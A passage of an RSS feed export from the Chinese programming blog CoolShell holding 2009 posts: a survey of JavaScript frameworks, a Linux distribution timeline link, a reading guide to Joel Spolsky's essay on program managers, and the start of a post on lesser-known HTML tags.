</p>\n<p>Exjs才6.6M，这个javascript类库居然有19.9M，正所谓一山还有一山高，没有最BT，只有更BT。它包括一个独立于平台的开发工具链，一个最先进的图形用户界面工具和先进的客户端与服务器之间的通讯层。下面是其UI示例：</p>\n<p><a rel=\"nofollow\" href=\"http://qooxdoo.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/qoox_ex.PNG\" alt=\"\" /></a> </p>\n<li>\n<h2>Yahoo! UI Library (YUI)</h2>\n</li>\n<p><a href=\"http://developer.yahoo.com/yui/\">http://developer.yahoo.com/yui/</a></p>\n<p><a rel=\"nofollow\" href=\"http://developer.yahoo.com/yui/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/yui.jpg\" alt=\"\" /></a> </p>\n<p>如果你不知道YUI的话，那么我想告诉你的是，你一定是在离地球20亿光年的亚美尼亚星居住。这个YUI类库也是包罗万象，他最好的不但是条件非常宽松的BSD的License，而且，你不必像别的类库一下，管你用不用你都要全部文件。YUI除了基础库外，你用多少就下载多少。这么丰富的UI也只有10.5M的大小，还OK了。下面是一个演示：</p>\n<p><a rel=\"nofollow\" href=\"http://developer.yahoo.com/yui/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/yui_ex.PNG\" alt=\"\" /></a> </p>\n<li>\n<h2>MochiKit</h2>\n</li>\n<p><a href=\"http://www.mochikit.com/\">http://www.mochikit.com/</a></p>\n<p>一个很轻量级的类库，主要实际了异步请求的若干功能。</p>\n<p><a rel=\"nofollow\" href=\"http://www.mochikit.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/mochikit.PNG\" alt=\"\" /></a> </p>\n<p> </p>\n<li>\n<h2>Midori</h2>\n</li>\n<p><a href=\"http://www.midorijs.com/\">http://www.midorijs.com/</a></p>\n<p>又一个轻量级的类库，没有用过。只有45K大小。主要是一些UI上的美化吧。</p>\n<p><a rel=\"nofollow\" href=\"http://www.midorijs.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/midory.png\" alt=\"\" /></a></p>\n<p>示例： </p>\n<p><a rel=\"nofollow\" href=\"http://www.midorijs.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/midori_ex.PNG\" alt=\"\" /></a> </p>\n<li>\n<h2>The Dojo Toolkit</h2>\n</li>\n<p><a href=\"http://www.dojotoolkit.org/\">http://www.dojotoolkit.org/</a></p>\n<p><a rel=\"nofollow\" href=\"http://www.dojotoolkit.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/dojo.png\" alt=\"\" /></a> </p>\n<p>又一个超强大的类库，提供了非常丰富的UI。BSD的license，大小1.7M，看看下面的UI示例你就知道有多强大了。</p>\n<p><a rel=\"nofollow\" href=\"http://www.dojotoolkit.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/dojo_ex.PNG\" alt=\"\" /></a></p>\n<p>文章：<a href=\"http://www.ajaxline.com/10-most-popular-javascript-frameworks\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/91.html\">十个开源的Javascript框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/91.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux Distribution Timeline</title>\n\t\t<link>https://coolshell.cn/articles/85.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/85.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 10 Mar 2009 13:20:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=85</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站记录了整个Linux所有发行版的时间线，很有意思 http://futurist.se/gldt/ 最新的更新时间是2009-2-12，下面是下载链...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/85.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/85.html\">Linux Distribution Timeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网站记录了整个Linux所有发行版的时间线，很有意思<br />\n<a href=\"http://futurist.se/gldt/\">http://futurist.se/gldt/</a></p>\n<p>最新的更新时间是2009-2-12，下面是下载链接：<br />\n<a href=\"http://futurist.se/gldt/gldt92.png\">811 kb png</a> / <a href=\"http://futurist.se/gldt/gldt92.tar.bz2\">72 kb tar.bz2</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/gldt92.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-large wp-image-86\" title=\"gldt92\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/gldt92-612x1024.png\" alt=\"gldt92\" width=\"612\" height=\"1024\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/gldt92-612x1024.png 612w, https://coolshell.cn/wp-content/uploads/2009/03/gldt92-179x300.png 179w, https://coolshell.cn/wp-content/uploads/2009/03/gldt92-768x1285.png 768w, https://coolshell.cn/wp-content/uploads/2009/03/gldt92-161x270.png 161w\" sizes=\"(max-width: 612px) 100vw, 612px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/85.html\">Linux Distribution Timeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/85.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>怎样做一个 Program Manager</title>\n\t\t<link>https://coolshell.cn/articles/76.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/76.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 10 Mar 2009 07:50:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Program Manager]]></category>\n\t\t<category><![CDATA[管理]]></category>\n\t\t<category><![CDATA[软件开发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=76</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我个人认为，这是一篇不错的文章，虽然我不是Program Mananger，但是我几乎在做着和这个职位很相似的工作。在这里，我把这篇文章推荐给所有的程序员，我相...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/76.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/76.html\">怎样做一个 Program Manager</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我个人认为，这是一篇不错的文章，虽然我不是Program Mananger，但是我几乎在做着和这个职位很相似的工作。在这里，我把这篇文章推荐给所有的程序员，我相信，这篇文章会让你明白，只有技术是远远不够的，因为没有Program Manager这个角色，程序员们只不过一些手中拿着利器却不知所措的散兵游勇。我希望我的导读和原文能给所有的程序带来启示。</p>\n<p style=\"padding-left: 30px;\"><strong>原文在这里：</strong><br />\n“How to be a program manager”<br />\n<a href=\"http://www.joelonsoftware.com/items/2009/03/09.html\">http://www.joelonsoftware.com/items/2009/03/09.html</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-77\" title=\"09meeting-thumbnail\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail-300x198.jpg\" alt=\"09meeting-thumbnail\" width=\"300\" height=\"198\" /></a>这篇文章的作者叫Joel Spolsky，在Microsoft做过Program Manager，这篇文章非常值得一读。下面是我给大家做的一个导读：</p>\n<p>首先，他讲了两个人，一个是负责WYSIWYG 字处理的天才级的Program Manager——Charles Simonyi，第二个是上世纪80年代的负责Mac OS上的Excel项目的程序员Jabe Blumenthal，他发现了程序员和市场人员的代沟，Marketing的人很难通过把MBA-Speaking翻译成实际的Feature，并且，有太多的和编码不相关的工作，比如说，和用户交谈，运行usability测试，Reivew竞争者的产品，并且得冥思苦想怎么能让事情变得更简单，而我们的程序员通常来说即不具备这样的时间，也不具备这样的能力。于是，Jabe开始了他的Program Manager的生涯。</p>\n<p><span id=\"more-76\"></span></p>\n<p><strong><span style=\"text-decoration: underline;\">工作范围</span></strong></p>\n<p>作者在第二节里说了一个PM主要负责哪些事务：</p>\n<ol>\n<li>Design UIs （用户界面的设计）</li>\n<li>Write functional specs （书写功能规格说明书）</li>\n<li>Coordinate teams （团队协调）</li>\n<li>Serve as the customer advocate, and （从用户角度思考问题）</li>\n<li>Wear Banana Republic chinos （Banana Republic是一个服装品牌，意思是作者在调侃PM需要衣冠楚楚，而不像程序员们只有T恤或牛仔裤）</li>\n</ol>\n<p>接下来，作者讲述了他第一份Program Manager工作的经历，非常有意思，那是一个关于Excel 用户定制化的项目（耗子注：应该是在Excel中加入VBScript的项目吧，就是所谓的宏）。</p>\n<p>第一个阶段</p>\n<ul>\n<li>首先，作者找了很多很多的用户谈论了这个什么是最有用最合理的实现，这是一个非常巨大的工作，花费了非常多的精力和时间。</li>\n<li>然后，作者找到了Visual Basic团队询问了是否可能给Excel提供一个编译器和代码编辑器，以便实现“宏”。</li>\n<li>接着，作者查看了一下Apple上面的AppleScript这种宏，取了取经。</li>\n<li>最后，作者同 Word, Access, Project, 和Mail团队们讨论了很多很多。</li>\n</ul>\n<p>作者说，这个阶段的工作让他满是伤痕，他甚至害怕听到手机铃响。</p>\n<p>第二个阶段</p>\n<ul>\n<li>确定大方向。他开始写下Visual Baisc应该怎么样在Excel里面工作的文档。并提供了一些简单的宏的样子。这应该是high-level的Functional Spec。</li>\n<li>当大的方向确定后，他开始了一些更为细节的功能规格说明的书写。这就是所谓的Functional Specification. (耗子注：这份文档应该只是说明从用户的角度上来看这个产品长成什么样，而不是实现)</li>\n<li>虽然FS并不需要说明怎么去实现，但这份文档应该是需要非常详细地说明整个Excel和VBScript怎么相互交互的，这是其中最重要的部分。</li>\n<li>当作者把FS的一个初始化版本发给开发团队（Ben Waldman）时，开发团队非常快地实现出了一个原型，并提供了面向对象的相关接口。但可惜的是，那并不是Program Manger所想要的。</li>\n<li>作者描述了一个细节如果帮助开发团队解决技术难点的例子。那是关于把一个Excel中的一个cell的值取出来的例子。当时，developer团队认为这是一个难点，因为这个值可能是任意类型的。而VB中却需要先声明变量的类型。后来，作者找到了VB的开发团队，了解到了Variants 和IDispatch可以做到这个。</li>\n</ul>\n<p>我们可以看到，FS在这样反复地和developer 团队推敲，甚至去帮助程序员解决技术难题，之后最终才能确定下来。一旦FS确定后，program manger需要做两件事：</p>\n<ol>\n<li>负责解释相关的问题。</li>\n<li>组织并形成相关的design。</li>\n</ol>\n<p>也就是说，除了对FS解释外，需还需要把What needs to do 变成 How to do的设计文档。另外，Program Manager可能会有下面的工作：</p>\n<ul>\n<li>测试人员会对FS有很多很多疑问，因为他们需要知道怎么样去测试这些FS中所包含的东西。</li>\n<li>和文档团队商讨如何写一个好的教程或是一个参考文档。</li>\n<li>和localization 团队制定localization 的策略。</li>\n<li>和市场人员说明VBA的优势和功能。</li>\n</ul>\n<p>我们可以看到，作者有太多，太多的会议和太多的与人沟通的事务，真是一个不简单的工作啊。</p>\n<p><strong><span style=\"text-decoration: underline;\">冲突管理</span></strong></p>\n<p>后面，作者着重讲了“Conflicts”冲突，这可能是所有的团队都会有的问题。而我们的Program Manager因为要和那么多的人沟通交流，所以，必然会需要有一种超人的能力去管理与人的发生的观点上的冲突。作者，在这里说了和程序员发生的很多争论，因为Program Manager是从用户的角度出发，而我们程序员总是从技术和实现的角度出发，不同的角度必然会引发冲突。作者举了一个例子，他说，用户们喜欢一个“心灵感应”的界面和一个30英寸的显示器，而我们的程序员喜欢的只是用Python搞的命令行接口。呵呵。另外，作者引用了一个Excel中的“pivot tables ”所引发的一个历时最长的争议作为案例。</p>\n<p>最后，作者讨论了，争论是一个很好的事，就好像法院里的原告和被告都有自己的辩护律师一样，这有助于人们逼近事物的真相。对于软件开发也一样，良好的争论其实是对产品有好处的。我们应该在争论中关注事。</p>\n<p>当在讨论到和程序相处的过程，作者说到了和程序员相外并不是一件很容易的事，因为你并不编码而也没有技术能力，通常会受到程序员的冷眼。所以在和程序沟通的过程中需要保证两件事：1）确信自己的正确的。2）让程序员尊敬自己。而对于第二点，如何让程序员尊敬自己，作者发表了自己的见解：1）demonstrate intelligence（展示自己的才华），2）open-mindedness（心胸宽阔），3）fairness（公平，正直）。千万不要搞办公室政治，或是开私密的经理会，等等。不然的话，你必然受到排挤。</p>\n<p><strong><span style=\"text-decoration: underline;\">推荐读物</span></strong></p>\n<p>最后作者给大家推荐了一些很不错的读物：</p>\n<ul>\n<li class=\"MsoNormal\" style=\"mso-list: l0 level1 lfo3;\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a title=\"blocked::http://www.amazon.com/gp/product/0596517718?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596517718\" href=\"http://www.amazon.com/gp/product/0596517718?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596517718\">Making Things Happen</a></span></span> （经理一般都在干什么？）</li>\n<li class=\"MsoNormal\" style=\"mso-list: l0 level1 lfo3;\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a title=\"blocked::http://www.amazon.com/gp/product/0321344758?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321344758\" href=\"http://www.amazon.com/gp/product/0321344758?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321344758\">Don’t Make Me Think</a></span></span>  （如果你要写FS或UI设计，你应该看看这本书）</li>\n<li class=\"MsoNormal\" style=\"mso-list: l0 level1 lfo3;\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a title=\"blocked::http://www.amazon.com/gp/product/1893115941?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1893115941\" href=\"http://www.amazon.com/gp/product/1893115941?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1893115941\">User Interface Design for Programmers</a>.</span></span> （作者自己的书，关于UI设计）</li>\n<li class=\"MsoNormal\" style=\"mso-list: l0 level1 lfo3;\"><span style=\"font-size: x-small; font-family: Arial;\"><span style=\"font-size: 10pt; font-family: Arial;\"><a title=\"blocked::http://www.amazon.com/gp/product/0671027034?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0671027034\" href=\"http://www.amazon.com/gp/product/0671027034?ie=UTF8&amp;tag=joelonsoftware&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0671027034\">How to Win Friends &amp; Influence People</a></span></span> （在人际关系方面，需要看看这本书）</li>\n</ul>\n<p class=\"MsoNormal\" style=\"mso-list: l0 level1 lfo3;\">（完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"Kent Beck 谈单元测试和持续部署\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_title\">Kent Beck 谈单元测试和持续部署</a></li><li ><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_title\">参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</a></li><li ><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" alt=\"Richard Feynman, 挑战者号, 软件工程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_title\">Richard Feynman, 挑战者号, 软件工程</a></li><li ><a href=\"https://coolshell.cn/articles/971.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"质量管理经中的八个法则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/971.html\" class=\"wp_rp_title\">质量管理经中的八个法则</a></li><li ><a href=\"https://coolshell.cn/articles/796.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"5个不错的3D素材网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/796.html\" class=\"wp_rp_title\">5个不错的3D素材网站</a></li><li ><a href=\"https://coolshell.cn/articles/4605.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/lawrence_1-150x150.png\" alt=\"Amazon的书为什么卖到了$2000万\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4605.html\" class=\"wp_rp_title\">Amazon的书为什么卖到了$2000万</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/76.html\">怎样做一个 Program Manager</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/76.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个你可能从来没有用过的HTML标识</title>\n\t\t<link>https://coolshell.cn/articles/67.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/67.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Mar 2009 12:54:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=67</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面有三个HTML的标识，你可能从来没有用过。 第一个：&#60;abbr&#62; 或 &#60;acronym&#62; 这两个标识是一回事，主要是用于一些英语的缩...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/67.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/67.html\">几个你可能从来没有用过的HTML标识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面有三个HTML的标识，你可能从来没有用过。</p>\n<p><strong>第一个：&lt;abbr&gt; 或 &lt;acronym&gt;</strong><br />\n这两个标识是一回事，主要是用于一些英语的缩写，当你把鼠标移上去的时候，你会发现会出现一个小提示来提示缩写的全称。下面是一个示例：</p>\n<ol>\n<li><abbr title=\"HyperText Markup Language\">HTML </abbr></li>\n<li><abbr title=\"电气电子工程师协会(Institute of Electrical and Electronics Engineers)\">IEEE</abbr></li>\n<li><abbr title=\"Read the Fucking Source Code\">RTFSC</abbr></li>\n</ol>\n<pre name=\"code\" class=\"html\">\n<abbr title=\"HyperText Markup Language\">HTML </abbr>\n<abbr title=\"电气电子工程师协会(Institute of Electrical and Electronics Engineers)\"> IEEE </abbr>\n<abbr title=\"Read the Fucking Source Code\">RTFSC</abbr>\n</pre>\n<p><span id=\"more-67\"></span></p>\n<p><strong>第二个：&lt;q&gt;<br />\n</strong>这个标识主要就是把引用的文字加上双引号，这个标识看来好像很没有什么意思。官方说是为了方便，可我总觉得这个标识还不如直接输入双引号来的方便。好像的确没什么。难道这个标识只能在Firefox下看到，IE就不支持了。下面是个示例：</p>\n<p><q>这个是一句引言</q></p>\n<pre name=\"code\" class=\"html\">\n<q>这个是一句引言</q>\n</pre>\n<p><strong>第三个，&lt;bdo&gt;</strong><br />\n这个标识很有意思，可以把从左到右的字序全部反转过来。比如：May I help you sir ? 如果加上了这个标识后，就是下面这个样子：</p>\n<ol>\n<li><bdo dir=\"rtl\">May I help you sir ?</bdo></li>\n<li><bdo dir=\"rtl\">什么事可以为你效劳啊？</bdo></li>\n</ol>\n<pre name=\"code\" class=\"html\">\n<bdo dir=\"rtl\">May I help you sir ?</bdo>\n<bdo dir=\"rtl\">什么事可以为你效劳啊？</bdo>\n</pre>\n<p><strong>第四个，&lt;del&gt;</strong><br />\n为你的字符串加上删除线。如：<del>这是一段删除文字</del>。</p>\n<pre name=\"code\" class=\"html\">\n<del>这是一段删除文字</del>\n</pre>\n<p><strong>第五、六个，&lt;sub&gt;&lt;sup&gt;</strong><br />\n这两个是下标和上标。下面是示例：<br 